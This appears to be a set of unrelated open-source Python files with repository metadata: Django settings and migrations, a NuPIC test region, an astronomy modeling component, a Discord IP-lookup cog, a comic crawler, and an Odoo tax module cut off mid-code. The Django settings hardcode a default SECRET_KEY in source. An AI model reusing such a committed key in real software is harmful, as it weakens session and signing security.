STATIC_ROOT = os.path.join(PROJECT_DIR, '..', 'static') # URL prefix for static files. # Example: "http://media.lawrence.com/static/" STATIC_URL = '/static/' # Additional locations of static files STATICFILES_DIRS = ( # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. # Listing the project dir here avoids having to collect static files in a # subdirectory i.e. /static/css instead of /static/foodcheck_proj/css # example: os.path.join(PROJECT_DIR, 'static'), ) # List of finder classes that know how to find static files in # various locations. STATICFILES_FINDERS = ( 'django.contrib.staticfiles.finders.FileSystemFinder', 'django.contrib.staticfiles.finders.AppDirectoriesFinder', #'django.contrib.staticfiles.finders.DefaultStorageFinder', ) # Make a dictionary of default keys default_keys = { 'SECRET_KEY': 'vm4rl5*ymb@2&d_(gc$gb-^twq9w(u69hi--%$5xrh!xk(t%hw' } # Replace default keys with dynamic values if we are in OpenShift use_keys = default_keys if ON_OPENSHIFT: imp.find_module('openshiftlibs') import openshiftlibs use_keys = openshiftlibs.openshift_secure(default_keys) # Make this unique, and don't share it with anybody. SECRET_KEY = use_keys['SECRET_KEY'] # List of callables that know how to import templates from various sources. TEMPLATE_LOADERS = ( 'django.template.loaders.filesystem.Loader', 'django.template.loaders.app_directories.Loader', #'django.template.loaders.eggs.Loader', ) MIDDLEWARE_CLASSES = ( 'django.middleware.common.CommonMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', ) ROOT_URLCONF = 'foodcheck_proj.urls' TEMPLATE_DIRS = ( # Put strings here, like "/home/html/django_templates" or "C:/www/django/templates". # Always use forward slashes, even on Windows. # Don't forget to use absolute paths, not relative paths. os.path.join(PROJECT_DIR, 'templates'), ) INSTALLED_APPS = ( 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.sites', 'django.contrib.messages', 'django.contrib.staticfiles', # Uncomment the next line to enable the admin: 'django.contrib.admin', # Uncomment the next line to enable admin documentation: # 'django.contrib.admindocs', 'south', 'leaflet', 'foodcheck_app', ) # A sample logging configuration. The only tangible logging # performed by this configuration is to send an email to # the site admins on every HTTP 500 error. # See http://docs.djangoproject.com/en/dev/topics/logging for # more details on how to customize your logging configuration. LOGGING = { 'version': 1, 'disable_existing_loggers': False, 'handlers': { 'mail_admins': { 'level': 'ERROR', 'class': 'django.utils.log.AdminEmailHandler' } }, 'loggers': { 'django.request': { 'handlers': ['mail_admins'], 'level': 'ERROR', 'propagate': True, }, } } TEMPLATE_CONTEXT_PROCESSORS = ( 'django.contrib.auth.context_processors.auth', 'django.core.context_processors.i18n', 'django.core.context_processors.request', 'django.core.context_processors.media', 'django.core.context_processors.static', ) # Leaflet settings LEAFLET_CONFIG = { 'DEFAULT_CENTER': (37.7750, -122.4183), 'DEFAULT_ZOOM': 10, 'PLUGINS': { 'main': { 'js': STATIC_URL + 'js/demo.js', }, } } # vim:expandtab tabstop=8 shiftwidth=4 ts=8 sw=4 softtabstop=4
esplinr/foodcheck
wsgi/foodcheck_proj/settings.py
Python
agpl-3.0
8,249
# ---------------------------------------------------------------------- # Numenta Platform for Intelligent Computing (NuPIC) # Copyright (C) 2013, Numenta, Inc. Unless you have an agreement # with Numenta, Inc., for a separate license for this software code, the # following terms and conditions apply: # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero Public License version 3 as # published by the Free Software Foundation. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. # See the GNU Affero Public License for more details. # # You should have received a copy of the GNU Affero Public License # along with this program. If not, see http://www.gnu.org/licenses. # # http://numenta.org/licenses/ # ---------------------------------------------------------------------- # This is a PyRegion-based python test regions for exploring/testing CLA Network # mechanisms from abc import ABCMeta, abstractmethod from nupic.bindings.regions.PyRegion import PyRegion from nupic.data.dictutils import DictObj class RegionIdentityPolicyBase(object): """ A base class that must be subclassed by users in order to define the TestRegion instance's specialization. See also setIdentityPolicyInstance(). """ __metaclass__ = ABCMeta @abstractmethod def initialize(self, testRegionObj): """ Called from the scope of the region's PyRegion.initialize() method. testRegionObj: TestRegion instance with which this policy is associated. """ @abstractmethod def compute(self, inputs, outputs): """Perform the main computation This method is called in each iteration for each phase the node supports. Called from the scope of the region's PyRegion.compute() method. inputs: dict of numpy arrays (one per input) outputs: dict of numpy arrays (one per output) """ @abstractmethod def getOutputElementCount(self, name): """Return the number of elements in the given output of the region Called from the scope of the region's PyRegion.getOutputElementCount() method. name: the name of the output """ @abstractmethod def getName(self): """ Return the name of the region """ class TestRegion(PyRegion): """ TestRegion is designed for testing and exploration of CLA Network mechanisms. Each TestRegion instance takes on a specific role via the associated TestRegionRole policy (TBD). """ def __init__(self, **kwargs): super(PyRegion, self).__init__(**kwargs) # Learning, inference, and other parameters. # By default we start out in stage learn with inference disabled # The specialization policy is what gives this region instance its identity. # Users set this via setIdentityPolicyInstance() before running the network self.identityPolicy = None # Debugging support, used in _conditionalBreak self.breakPdb = False self.breakKomodo = False # Construct ephemeral variables (those that aren't serialized) self.__constructEphemeralInstanceVars() # Variables set up in initialize() #self._sfdr = None # FDRCSpatial instance return def __constructEphemeralInstanceVars(self): """ Initialize ephemeral instance variables (those that aren't serialized) """ assert not hasattr(self, 'ephemeral') self.ephemeral = DictObj() self.ephemeral.logPathInput = '' self.ephemeral.logPathOutput = '' self.ephemeral.logPathOutputDense = '' self.ephemeral._fpLogInput = None self.ephemeral._fpLogOutput = None self.ephemeral._fpLogOutputDense = None return ############################################################################# # # Initialization code # ############################################################################# def initialize(self, dims, splitterMaps): """ Called by network after all links have been set up dims, splitterMaps: Unused legacy args """ self.identityPolicy.initialize(self) _debugOut(self.identityPolicy.getName()) return ############################################################################# # # Core compute methods: learning, inference, and prediction # ############################################################################# def compute(self, inputs, outputs): """ Run one iteration of the region's compute. The guts of the compute are contained in the _compute() call so that we can profile it if requested. """ # Uncomment this to find out who is generating divide by 0, or other numpy warnings # numpy.seterr(divide='raise', invalid='raise', over='raise') self.identityPolicy.compute(inputs, outputs) _debugOut(("%s: inputs=%s; outputs=%s") % \ (self.identityPolicy.getName(),inputs, outputs)) return ############################################################################# # # NuPIC 2 Support # These methods are required by NuPIC 2 # ############################################################################# def getOutputElementCount(self, name): nOutputElements = self.identityPolicy.getOutputElementCount(name) return nOutputElements # TODO: as a temporary hack, getParameterArrayCount checks to see if there's a # variable, private or not, with that name. If so, it attempts to return the # length of that variable. def getParameterArrayCount(self, name, index): p = self.getParameter(name) if (not hasattr(p, '__len__')): raise Exception("Attempt to access parameter '{0!s}' as an array but it is not an array".format(name)) return len(p) # TODO: as a temporary hack, getParameterArray checks to see if there's a # variable, private or not, with that name. If so, it returns the value of the # variable. def getParameterArray(self, name, index, a): p = self.getParameter(name) if (not hasattr(p, '__len__')): raise Exception("Attempt to access parameter '{0!s}' as an array but it is not an array".format(name)) if len(p) > 0: a[:] = p[:] return ############################################################################# # # Region API support methods: getSpec, getParameter, and setParameter # ############################################################################# @classmethod def getSpec(cls): """Return the base Spec for TestRegion. """ spec = dict( description="TestRegion", singleNodeOnly=True, inputs=dict( bottomUpIn=dict( description="""The input vector.""", dataType='Real32', count=0, required=False, regionLevel=True, isDefaultInput=True, requireSplitterMap=False), topDownIn=dict( description="""The top-down input signal, generated from feedback from upper levels""", dataType='Real32', count=0, required = False, regionLevel=True, isDefaultInput=False, requireSplitterMap=False), ), outputs=dict( bottomUpOut=dict( description="""The output signal generated from the bottom-up inputs from lower levels.""", dataType='Real32', count=0, regionLevel=True, isDefaultOutput=True), topDownOut=dict( description="""The top-down output signal, generated from feedback from upper levels""", dataType='Real32', count=0, regionLevel=True, isDefaultOutput=False), ), parameters=dict( logPathInput=dict( description='Optional name of input log file. If set, every input vector' ' will be logged to this file.', accessMode='ReadWrite', dataType='Byte', count=0, constraints=''), logPathOutput=dict( description='Optional name of output log file. If set, every output vector' ' will be logged to this file.', accessMode='ReadWrite', dataType='Byte', count=0, constraints=''), logPathOutputDense=dict( description='Optional name of output log file. If set, every output vector' ' will be logged to this file as a dense vector.', accessMode='ReadWrite', dataType='Byte', count=0, constraints=''), breakPdb=dict( description='Set to 1 to stop in the pdb debugger on the next compute', dataType='UInt32', count=1, constraints='bool', defaultValue=0, accessMode='ReadWrite'), breakKomodo=dict( description='Set to 1 to stop in the Komodo debugger on the next compute', dataType='UInt32', count=1, constraints='bool', defaultValue=0, accessMode='ReadWrite'), ), commands=dict( setIdentityPolicyInstance=dict(description= "Set identity policy instance BERORE running the network. " + \ "The instance MUST be derived from TestRegion's " + \ "RegionIdentityPolicyBase class."), getIdentityPolicyInstance=dict(description= "Returns identity policy instance that was associated with " + \ "the TestRegion instance via the setIdentityPolicyInstance " + \ "command."), ) ) return spec def getParameter(self, parameterName, index=-1): """ Get the value of a NodeSpec parameter. Most parameters are handled automatically by PyRegion's parameter get mechanism. The ones that need special treatment are explicitly handled here. """ assert not (parameterName in self.__dict__ and parameterName in self.ephemeral) if parameterName in self.ephemeral: assert parameterName not in self.__dict__ return self.ephemeral[parameterName] else: return super(PyRegion, self).getParameter(parameterName, index) def setParameter(self, parameterName, index, parameterValue): """ Set the value of a Spec parameter. Most parameters are handled automatically by PyRegion's parameter set mechanism. The ones that need special treatment are explicitly handled here. """ assert not (parameterName in self.__dict__ and parameterName in self.ephemeral) if parameterName in self.ephemeral: if parameterName == "logPathInput": self.ephemeral.logPathInput = parameterValue # Close any existing log file if self.ephemeral._fpLogInput: self.ephemeral._fpLogInput.close() self.ephemeral._fpLogInput = None # Open a new log file if parameterValue: self.ephemeral._fpLogInput = open(self.ephemeral.logPathInput, 'w') elif parameterName == "logPathOutput": self.ephemeral.logPathOutput = parameterValue # Close any existing log file if self.ephemeral._fpLogOutput: self.ephemeral._fpLogOutput.close() self.ephemeral._fpLogOutput = None # Open a new log file if parameterValue: self.ephemeral._fpLogOutput = open(self.ephemeral.logPathOutput, 'w') elif parameterName == "logPathOutputDense": self.ephemeral.logPathOutputDense = parameterValue # Close any existing log file if self.ephemeral._fpLogOutputDense: self.ephemeral._fpLogOutputDense.close() self.ephemeral._fpLogOutputDense = None # Open a new log file if parameterValue: self.ephemeral._fpLogOutputDense = open(self.ephemeral.logPathOutputDense, 'w') else: raise Exception('Unknown parameter: ' + parameterName) return ############################################################################# # # Commands # ############################################################################# def setIdentityPolicyInstance(self, identityPolicyObj): """TestRegion command that sets identity policy instance. The instance MUST be derived from TestRegion's RegionIdentityPolicyBase class. Users MUST set the identity instance BEFORE running the network Exception: AssertionError if identity policy instance has already been set or if the passed-in instance is not derived from RegionIdentityPolicyBase. """ assert not self.identityPolicy assert isinstance(identityPolicyObj, RegionIdentityPolicyBase) self.identityPolicy = identityPolicyObj return def getIdentityPolicyInstance(self): """TestRegion command that returns the identity policy instance that was associated with this TestRegion instance via setIdentityPolicyInstance(). Returns: a RegionIdentityPolicyBase-based instance that was associated with this TestRegion intstance. Exception: AssertionError if no identity policy instance has been set. """ assert self.identityPolicy return self.identityPolicy ############################################################################# # # Methods to support serialization # ############################################################################# def __getstate__(self): """ Return serializable state. This function will return a version of the __dict__ with all "ephemeral" members stripped out. "Ephemeral" members are defined as those that do not need to be (nor should be) stored in any kind of persistent file (e.g., NuPIC network XML file.) """ state = self.__dict__.copy() # Don't serialize ephemeral data state.pop('ephemeral') return state def __setstate__(self, state): """ Set the state of ourself from a serialized state. """ assert 'ephemeral' not in state self.__dict__.update(state) # Initialize our ephemeral member variables self.__constructEphemeralInstanceVars() return ############################################################################# # # Debugging support code # ############################################################################# def _conditionalBreak(self): if self.breakKomodo: import dbgp.client; dbgp.client.brk() if self.breakPdb: import pdb; pdb.set_trace() return g_debug = True def _debugOut(msg): import sys global g_debug if g_debug: callerTraceback = whois_callers_caller() print "TEST_REGION (f={0!s};line={1!s}): {2!s}".format(callerTraceback.function, callerTraceback.lineno, msg) sys.stdout.flush() return def whois_callers_caller(): """ Returns: Traceback namedtuple for our caller's caller """ import inspect frameObj = inspect.stack()[2][0] return inspect.getframeinfo(frameObj)
runt18/nupic
src/nupic/regions/TestRegion.py
Python
agpl-3.0
15,152
#!/usr/bin/env python # -*- coding: utf8 -*- # ***************************************************************** # ** PTS -- Python Toolkit for working with SKIRT ** # ** © Astronomical Observatory, Ghent University ** # ***************************************************************** ## \package pts.modeling.component.component Contains the ModelingComponent class. # ----------------------------------------------------------------- # Ensure Python 3 compatibility from __future__ import absolute_import, division, print_function # Import standard modules from abc import ABCMeta # Import astronomical modules from astropy.units import Unit # Import the relevant PTS classes and modules from ...core.basics.configurable import Configurable from ...core.tools import introspection from ...core.tools import filesystem as fs from ...core.filter.broad import BroadBandFilter from ...core.basics.configuration import Configuration from ..core.history import ModelingHistory from ..core.commands import ModelingCommands from ..core.environment import GalaxyModelingEnvironment, SEDModelingEnvironment, ImagesModelingEnvironment from ...core.tools.utils import lazyproperty from ...core.tools import parsing # ----------------------------------------------------------------- class ModelingComponent(Configurable): """ This class... """ __metaclass__ = ABCMeta # ----------------------------------------------------------------- def __init__(self, *args, **kwargs): """ The constructor ... :param kwargs: :return: """ # Call the constructor of the base class super(ModelingComponent, self).__init__(*args, **kwargs) # The modeling configuration file self.config_file_path = None # The modeling environemnt self.environment = None # PTS directories self.kernels_path = None # ----------------------------------------------------------------- def setup(self, **kwargs): """ This function ... :return: """ # Call the setup function of the base class super(ModelingComponent, self).setup(**kwargs) # Determine the path to the modeling configuration file self.config_file_path = fs.join(self.config.path, "modeling.cfg") # Check for the presence of the configuration file if not fs.is_file(self.config_file_path): raise ValueError("The current working directory (" + self.config.path + ") is not a radiative transfer modeling directory (the configuration file is missing)") # Determine the path to the kernels user directory self.kernels_path = fs.join(introspection.pts_user_dir, "kernels") # Create the modeling environment if self.is_galaxy_modeling: self.environment = GalaxyModelingEnvironment(self.config.path) elif self.is_sed_modeling: self.environment = SEDModelingEnvironment(self.config.path) elif self.is_images_modeling: self.environment = ImagesModelingEnvironment(self.config.path) # ----------------------------------------------------------------- @property def history_file_path(self): return self.environment.history_file_path # ----------------------------------------------------------------- @property def commands_file_path(self): return self.environment.commands_file_path # ----------------------------------------------------------------- @property def fit_path(self): return self.environment.fit_path # ----------------------------------------------------------------- @property def analysis_path(self): return self.environment.analysis_path # ----------------------------------------------------------------- @property def reports_path(self): return self.environment.reports_path # ----------------------------------------------------------------- @property def visualisation_path(self): return self.environment.visualisation_path # ----------------------------------------------------------------- @property def plot_path(self): return self.environment.plot_path # ----------------------------------------------------------------- @property def log_path(self): return self.environment.log_path # ----------------------------------------------------------------- @property def config_path(self): return self.environment.config_path # ----------------------------------------------------------------- @property def show_path(self): return self.environment.show_path # ----------------------------------------------------------------- @property def build_path(self): return self.environment.build_path # ----------------------------------------------------------------- @property def html_path(self): return self.environment.html_path # ----------------------------------------------------------------- @property def object_name(self): return self.modeling_configuration.name # ----------------------------------------------------------------- @lazyproperty def observed_sed(self): # Return the observed SED if self.is_galaxy_modeling: return self.environment.observed_sed elif self.is_sed_modeling: return self.environment.observed_sed else: raise ValueError("Observed SED is not defined for modeling types other than 'galaxy' or 'sed'") # ----------------------------------------------------------------- @lazyproperty def truncated_sed(self): if not self.is_galaxy_modeling: raise RuntimeError("Something went wrong") return self.environment.truncated_sed # ----------------------------------------------------------------- @lazyproperty def observed_sed_path(self): # Return the correct path if self.is_galaxy_modeling: return self.environment.observed_sed_path elif self.is_sed_modeling: return self.environment.sed_path else: raise ValueError("Observed SED not defined for modeling types other than 'galaxy' or 'sed'") # ----------------------------------------------------------------- @lazyproperty def truncated_sed_path(self): if not self.is_galaxy_modeling: raise RuntimeError("Something went wrong") return self.environment.truncated_sed_path # ----------------------------------------------------------------- def observed_flux(self, fltr, unit=None, add_unit=True): """ This function ... :param fltr: :param unit: :param add_unit: :return: """ return self.observed_sed.photometry_for_filter(fltr, unit=unit, add_unit=add_unit) # ----------------------------------------------------------------- @lazyproperty def observed_filters(self): return self.observed_sed.filters() # ----------------------------------------------------------------- @lazyproperty def observed_filter_names(self): return [str(fltr) for fltr in self.observed_filters] # ----------------------------------------------------------------- @lazyproperty def observed_filter_wavelengths(self): return [fltr.wavelength for fltr in self.observed_filters] # ----------------------------------------------------------------- @lazyproperty def sed_filters(self): return self.observed_sed.filters() # ----------------------------------------------------------------- @lazyproperty def sed_filter_names(self): return [str(fltr) for fltr in self.sed_filters] # ----------------------------------------------------------------- @lazyproperty def sed_filter_wavelengths(self): return [fltr.pivot for fltr in self.sed_filters] # ----------------------------------------------------------------- @lazyproperty def modeling_configuration(self): """ This function ... :return: """ # Load the configuration config = Configuration.from_file(self.config_file_path) # Return the configuration return config # ----------------------------------------------------------------- @lazyproperty def modeling_type(self): return self.modeling_configuration.modeling_type # ----------------------------------------------------------------- @property def is_galaxy_modeling(self): return self.modeling_configuration.modeling_type == "galaxy" # ----------------------------------------------------------------- @property def is_sed_modeling(self): return self.modeling_configuration.modeling_type == "sed" # ----------------------------------------------------------------- @property def is_images_modeling(self): return self.modeling_configuration.modeling_type == "images" # ----------------------------------------------------------------- @lazyproperty def history(self): return self.environment.history # ----------------------------------------------------------------- @lazyproperty def status(self): return self.environment.status # ----------------------------------------------------------------- @lazyproperty def nuv_filter(self): return BroadBandFilter("GALEX NUV") # ----------------------------------------------------------------- @lazyproperty def nuv_wavelength(self): return self.nuv_filter.wavelength # ----------------------------------------------------------------- @lazyproperty def fuv_filter(self): return BroadBandFilter("GALEX FUV") # ----------------------------------------------------------------- @lazyproperty def fuv_wavelength(self): return self.fuv_filter.wavelength # ----------------------------------------------------------------- @lazyproperty def i1_filter(self): return BroadBandFilter("IRAC I1") # ----------------------------------------------------------------- @lazyproperty def i1_wavelength(self): return self.i1_filter.wavelength # ----------------------------------------------------------------- @lazyproperty def i2_filter(self): return BroadBandFilter("IRAC I2") # ----------------------------------------------------------------- @lazyproperty def jhk_filters(self): return parsing.lazy_broad_band_filter_list("2MASS") # ----------------------------------------------------------------- @lazyproperty def pacs_red_filter(self): return BroadBandFilter("Pacs 160") # ----------------------------------------------------------------- @lazyproperty def spire_psw_filter(self): return BroadBandFilter("SPIRE PSW") # ----------------------------------------------------------------- @lazyproperty def spire_pmw_filter(self): return BroadBandFilter("SPIRE PMW") # ----------------------------------------------------------------- @lazyproperty def spire_plw_filter(self): return BroadBandFilter("SPIRE PLW") # ----------------------------------------------------------------- @lazyproperty def spire_filters(self): return parsing.lazy_broad_band_filter_list("SPIRE") # ----------------------------------------------------------------- @lazyproperty def planck_filters(self): return parsing.lazy_broad_band_filter_list("Planck") # ----------------------------------------------------------------- @lazyproperty def hfi_filters(self): return parsing.lazy_broad_band_filter_list("HFI") # ----------------------------------------------------------------- @lazyproperty def lfi_filters(self): return parsing.lazy_broad_band_filter_list("LFI") # ----------------------------------------------------------------- @lazyproperty def iras_filters(self): return parsing.lazy_broad_band_filter_list("IRAS") # ----------------------------------------------------------------- @lazyproperty def iras_and_planck_filters(self): return self.planck_filters + self.iras_filters # ----------------------------------------------------------------- @lazyproperty def ignore_sed_plot_filters(self): return self.planck_filters + self.iras_filters # ----------------------------------------------------------------- @lazyproperty def observed_filters_no_iras(self): return [fltr for fltr in self.observed_filters if fltr not in self.iras_filters] # ----------------------------------------------------------------- @lazyproperty def observed_filter_names_no_iras(self): return [str(fltr) for fltr in self.observed_filters_no_iras] # ----------------------------------------------------------------- @lazyproperty def observed_filters_no_iras_planck(self): # Get the filters return [fltr for fltr in self.observed_filters if fltr not in self.iras_and_planck_filters] # ----------------------------------------------------------------- @lazyproperty def observed_filter_names_no_iras_planck(self): return [str(fltr) for fltr in self.observed_filters_no_iras_planck] # ----------------------------------------------------------------- @lazyproperty def observed_filter_wavelengths_no_iras_planck(self): return [fltr.wavelength for fltr in self.observed_filters_no_iras_planck] # ----------------------------------------------------------------- @lazyproperty def v_band_wavelength(self): return 0.55 * Unit("micron") # ----------------------------------------------------------------- @property def maps_collection(self): return self.environment.maps_collection # ----------------------------------------------------------------- @property def static_maps_collection(self): return self.environment.static_maps_collection # ----------------------------------------------------------------- @property def maps_selection(self): return self.environment.maps_selection # ----------------------------------------------------------------- @property def static_maps_selection(self): return self.environment.static_maps_selection # ----------------------------------------------------------------- @property def model_suite(self): return self.environment.model_suite # ----------------------------------------------------------------- @property def static_model_suite(self): return self.environment.static_model_suite # ----------------------------------------------------------------- @property def fitting_context(self): return self.environment.fitting_context # ----------------------------------------------------------------- @property def fitting_runs(self): return self.environment.fitting_runs # ----------------------------------------------------------------- def get_config_file_path(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine the path to the configuration file path = fs.join(modeling_path, "modeling.cfg") # Return the path return path # ----------------------------------------------------------------- def load_modeling_configuration(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine the path to the modeling configuration file path = get_config_file_path(modeling_path) # Open the configuration and return it return Configuration.from_file(path) # ----------------------------------------------------------------- def get_modeling_type(modeling_path): """ This function ... :param modeling_path: :return: """ configuration = load_modeling_configuration(modeling_path) return configuration.modeling_type # ----------------------------------------------------------------- def get_default_fitting_method(modeling_path): """ This function ... :param modeling_path: :return: """ configuration = load_modeling_configuration(modeling_path) return configuration.fitting_method # ----------------------------------------------------------------- def get_cache_host_id(modeling_path): """ This function ... :param modeling_path: :return: """ configuration = load_modeling_configuration(modeling_path) return configuration.cache_host_id # ----------------------------------------------------------------- def load_modeling_history(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine history file path history_file_path = fs.join(modeling_path, "history.dat") # Create new history if not fs.is_file(history_file_path): history = ModelingHistory() history.saveto(history_file_path) else: history = ModelingHistory.from_file(history_file_path) history.clean() # Return the history return history # ----------------------------------------------------------------- def load_modeling_commands(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine the commands file path commands_file_path = fs.join(modeling_path, "commands.txt") # Create new commands file if not fs.is_file(commands_file_path): commands = ModelingCommands() commands.saveto(commands_file_path) else: commands = ModelingCommands.from_file(commands_file_path) # Return the commands return commands # ----------------------------------------------------------------- def get_configuration_file_paths(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine the config path config_path = fs.join(modeling_path, "config") # Return the file paths return fs.files_in_path(config_path, extension="cfg") # ----------------------------------------------------------------- def get_log_file_paths(modeling_path): """ This function ... :param modeling_path: :return: """ # Determine the log path log_path = fs.join(modeling_path, "log") # Return the file paths return fs.files_in_path(log_path, extension="txt") # ----------------------------------------------------------------- def load_modeling_status(modeling_path): """ This function ... :param modeling_path: :return: """ from ..core.status import ModelingStatus return ModelingStatus(modeling_path) # -----------------------------------------------------------------
SKIRT/PTS
modeling/component/component.py
Python
agpl-3.0
19,107
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations from django.conf import settings class Migration(migrations.Migration): dependencies = [ ('search', '0003_auto_20150826_0632'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='JSONVersions', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('date_created', models.DateTimeField(help_text=b'The time when this item was created', auto_now_add=True, db_index=True)), ('date_modified', models.DateTimeField(help_text=b'The last moment when the item was modified.', auto_now=True, db_index=True)), ('json_data', models.TextField(help_text=b'The JSON data for a particular version of the visualization.')), ], ), migrations.CreateModel( name='SCOTUSMap', fields=[ ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)), ('date_created', models.DateTimeField(help_text=b'The time when this item was created', auto_now_add=True, db_index=True)), ('date_modified', models.DateTimeField(help_text=b'The last moment when the item was modified.', auto_now=True, db_index=True)), ('title', models.CharField(help_text=b"The title of the visualization that you're creating.", max_length=200)), ('subtitle', models.CharField(help_text=b"The subtitle of the visualization that you're creating.", max_length=300, blank=True)), ('slug', models.SlugField(help_text=b'The URL path that the visualization will map to (the slug)', max_length=75)), ('notes', models.TextField(help_text=b'Any notes that help explain the diagram, in Markdown format', blank=True)), ('degree_count', models.IntegerField(help_text=b'The number of degrees to display between cases')), ('view_count', models.IntegerField(default=0, help_text=b'The number of times the visualization has been seen.')), ('published', models.BooleanField(default=False, help_text=b'Whether the visualization can be seen publicly.')), ('deleted', models.BooleanField(default=False, help_text=b'Has a user chosen to delete this visualization?')), ('generation_time', models.FloatField(default=0, help_text=b'The length of time it takes to generate a visuzalization, in seconds.')), ('cluster_end', models.ForeignKey(related_name='visualizations_ending_here', to='search.OpinionCluster', help_text=b'The ending cluster for the visualization')), ('cluster_start', models.ForeignKey(related_name='visualizations_starting_here', to='search.OpinionCluster', help_text=b'The starting cluster for the visualization')), ('clusters', models.ManyToManyField(help_text=b'The clusters involved in this visualization', related_name='visualizations', to='search.OpinionCluster', blank=True)), ('user', models.ForeignKey(related_name='scotus_maps', to=settings.AUTH_USER_MODEL, help_text=b'The user that owns the visualization')), ], ), migrations.AddField( model_name='jsonversions', name='map', field=models.ForeignKey(related_name='json_versions', to='visualizations.SCOTUSMap', help_text=b'The visualization that the json is affiliated with.'), ), ]
brianwc/courtlistener
cl/visualizations/migrations/0001_initial.py
Python
agpl-3.0
3,649
import ipgetter from discord.ext import commands from cogs.utils import checks class WhatsMyIP: """ Assign roles based on trust rating """ def __init__(self, bot): self.bot = bot @commands.command(pass_context=True) @checks.is_owner() async def whatsmyip(self, ctx: commands.Context): """Print your bot's IP address""" my_ip = ipgetter.myip() await self.bot.send_message(ctx.message.author, "Your IP address is {}".format(my_ip)) def setup(bot): bot.add_cog(WhatsMyIP(bot))
bobloy/Fox-Cogs
whatsmyip/whatsmyip.py
Python
agpl-3.0
546
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django import forms from . import models from dal import autocomplete class NominationForm(forms.ModelForm): class Meta: model = models.Nomination fields = ['plan', 'cv', 'certificates', 'gpa'] # To be used in the admin interface, for autocompletion field. class UnelectedWinnerForm(forms.ModelForm): class Meta: model = models.UnelectedWinner fields = ('__all__') widgets = { 'user': autocomplete.ModelSelect2(url='voting:user-autocomplete', attrs={'data-html': 'true'}) }
SAlkhairy/trabd
voting/forms.py
Python
agpl-3.0
633
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('stories', '0011_story_photo'), ] operations = [ migrations.AlterField( model_name='story', name='photo', field=models.ImageField(null=True, upload_to=b'photos', blank=True), preserve_default=True, ), ]
storiesofsolidarity/story-database
stories/migrations/0012_auto_20151124_0442.py
Python
agpl-3.0
458
from comics.aggregator.crawler import CrawlerBase, CrawlerImage from comics.core.comic_data import ComicDataBase class ComicData(ComicDataBase): name = "Gunnerkrigg Court" language = "en" url = "http://www.gunnerkrigg.com/" start_date = "2005-08-13" rights = "Tom Siddell" class Crawler(CrawlerBase): schedule = "Mo,We,Fr" time_zone = "US/Pacific" def crawl(self, pub_date): page = self.parse_page("http://www.gunnerkrigg.com/index2.php") url = page.src('img[src*="/comics/"]') title = page.alt('img[src*="/comics/"]') text = "" for content in page.text('table[cellpadding="5"] td', allow_multiple=True): text += content + "\n\n" text = text.strip() return CrawlerImage(url, title, text)
jodal/comics
comics/comics/gunnerkrigg.py
Python
agpl-3.0
793
# Copyright (C) 2009 - TODAY Renato Lima - Akretion # License AGPL-3 - See http://www.gnu.org/licenses/agpl-3.0.html from odoo import api, fields, models class AccountTax(models.Model): _inherit = 'account.tax' fiscal_tax_ids = fields.Many2many( comodel_name='l10n_br_fiscal.tax', relation='l10n_br_fiscal_account_tax_rel', colunm1='account_tax_id', colunm2='fiscal_tax_id', string='Fiscal Taxes', ) @api.multi def compute_all( self, price_unit, currency=None, quantity=None, product=None, partner=None, fiscal_taxes=None, operation_line=False, ncm=None, nbm=None, cest=None, discount_value=None, insurance_value=None, other_costs_value=None, freight_value=None, fiscal_price=None, fiscal_quantity=None, uot=None, icmssn_range=None ): """ Returns all information required to apply taxes (in self + their children in case of a tax goup). We consider the sequence of the parent for group of taxes. Eg. considering letters as taxes and alphabetic order as sequence : [G, B([A, D, F]), E, C] will be computed as [A, D, F, C, E, G] RETURN: { 'total_excluded': 0.0, # Total without taxes 'total_included': 0.0, # Total with taxes 'taxes': [{ # One dict for each tax in self # and their children 'id': int, 'name': str, 'amount': float, 'sequence': int, 'account_id': int, 'refund_account_id': int, 'analytic': boolean, }] } """ taxes_results = super().compute_all( price_unit, currency, quantity, product, partner) if not fiscal_taxes: fiscal_taxes = self.env['l10n_br_fiscal.tax'] product = product or self.env['product.product'] # FIXME Should get company from document? fiscal_taxes_results = fiscal_taxes.compute_taxes( company=self.env.user.company_id, partner=partner, product=product, price_unit=price_unit, quantity=quantity, uom_id=product.uom_id, fiscal_price=fiscal_price or price_unit, fiscal_quantity=fiscal_quantity or quantity, uot_id=uot or product.uot_id, ncm=ncm or product.ncm_id, nbm=nbm or product.nbm_id, cest=cest or product.cest_id, discount_value=discount_value, insurance_value=insurance_value, other_costs_value=other_costs_value, freight_value=freight_value, operation_line=operation_line, icmssn_range=icmssn_range) account_taxes_by_domain = {} for tax in self: tax_domain = tax.tax_group_id.fiscal_tax_group_id.tax_domain account_taxes_by_domain.update({tax.id: tax_domain}) for account_tax in taxes_results['taxes']: fiscal_tax = fiscal_taxes_results.get( account_taxes_by_domain.get(account_tax.get('id')) ) if fiscal_tax: tax = self.filtered(lambda t: t.id == account_tax.get('id')) if not fiscal_tax.get('tax_include') and not tax.deductible: taxes_results['total_included'] += fiscal_tax.get( 'tax_value') account_tax.update({ 'id': account_tax.get('id'), 'name': '{0} ({1})'.format( account_tax.get('name'), fiscal_tax.get('name') ), 'amount': fiscal_tax.get('tax_value'), 'base': fiscal_tax.get('base'), 'tax_include': fiscal_tax.get('tax_include'), }) if tax.deductible: account_tax.update({ 